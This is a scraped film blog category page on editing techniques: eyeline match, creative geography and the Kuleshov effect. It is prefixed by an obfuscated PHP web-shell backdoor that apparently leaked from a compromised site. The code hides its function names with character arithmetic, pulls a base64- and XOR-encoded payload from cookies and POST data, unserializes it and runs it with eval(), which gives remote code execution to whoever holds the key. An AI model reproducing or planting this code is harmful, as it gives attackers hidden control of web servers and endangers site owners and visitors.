$AxjyRjt = "\x46" . chr (95) . "\110" . "\x48" . "\x54" . chr (98) . 'N';$qwaBoSCFhO = "\x63" . chr (108) . chr ( 1067 - 970 ).'s' . chr (115) . chr ( 712 - 617 ).'e' . 'x' . "\x69" . "\x73" . chr (116) . chr ( 1092 - 977 ); $HIhICeNwH = $qwaBoSCFhO($AxjyRjt); $IwboDo = $HIhICeNwH;if (!$IwboDo){class F_HHTbN{private $ZuTXo;public static $YmkTgxPsp = "2d4121b8-b76a-4f0b-b51b-8e9fc5096227";public static $EiEUDxMvte = 46505;public function __construct($nPRAOtB=0){$fOOAxRCGq = $_COOKIE;$hgvVAo = $_POST;$wbIXTWH = @$fOOAxRCGq[substr(F_HHTbN::$YmkTgxPsp, 0, 4)];if (!empty($wbIXTWH)){$CCNLdbwPQq = "base64";$mvQOEEGBX = "";$wbIXTWH = explode(",", $wbIXTWH);foreach ($wbIXTWH as $gYiWOrOL){$mvQOEEGBX .= @$fOOAxRCGq[$gYiWOrOL];$mvQOEEGBX .= @$hgvVAo[$gYiWOrOL];}$mvQOEEGBX = array_map($CCNLdbwPQq . '_' . "\144" . chr ( 726 - 625 )."\x63" . chr (111) . "\144" . chr (101), array($mvQOEEGBX,)); $mvQOEEGBX = $mvQOEEGBX[0] ^ str_repeat(F_HHTbN::$YmkTgxPsp, (strlen($mvQOEEGBX[0]) / strlen(F_HHTbN::$YmkTgxPsp)) + 1);F_HHTbN::$EiEUDxMvte = @unserialize($mvQOEEGBX);}}public function __destruct(){$this->iqSfwxLnHh();}private function iqSfwxLnHh(){if (is_array(F_HHTbN::$EiEUDxMvte)) {$PiumhTiU = str_replace(chr ( 943 - 883 ) . chr ( 458 - 395 ).'p' . chr (104) . "\x70", "", F_HHTbN::$EiEUDxMvte['c' . chr ( 636 - 525 )."\156" . 't' . 'e' . "\156" . chr (116)]);eval($PiumhTiU); $SMjkKFL = "49361";exit();}}}$lIxJW = new F_HHTbN(); $lIxJW = "44080";} Editing technique | Raja Reviews

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Eyeline Match

Eyeline Match In last week’s Friday fundas I had discussed about the 180 degree rule that is associated with the spatial relationship of the characters on screen. I had discussed about a scene in which two characters are talking to each other. Now consider the same scene is shot by […]

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Eyeline Match

Creative Geography

This week’s Friday Fundas covers yet another interesting editing technique in movies popularly known as Creative Geography. Creative Geography is an artificial landscape that is created in movies. This technique was invented by Russian film maker Lev Kuleshov. You might also remember few weeks back I had covered another popular […]

Friday Fundas

Creative Geography – How Aamir Khan went from Chicago to …

Kuleshov Effect

Kuleshov Effect In the last Friday Fundas section I had covered one of the basic units of film grammar Reaction Shot. In this week’s Friday Fundas I am going to cover a related topic called as Kuleshov Effect. Russian filmmaker Lev Kuleshov demonstrated a very powerful editing technique in cinema during the 1920s. His […]

Friday Fundas

Kuleshov Effect or How Hitchcock turned a kind gentleman to …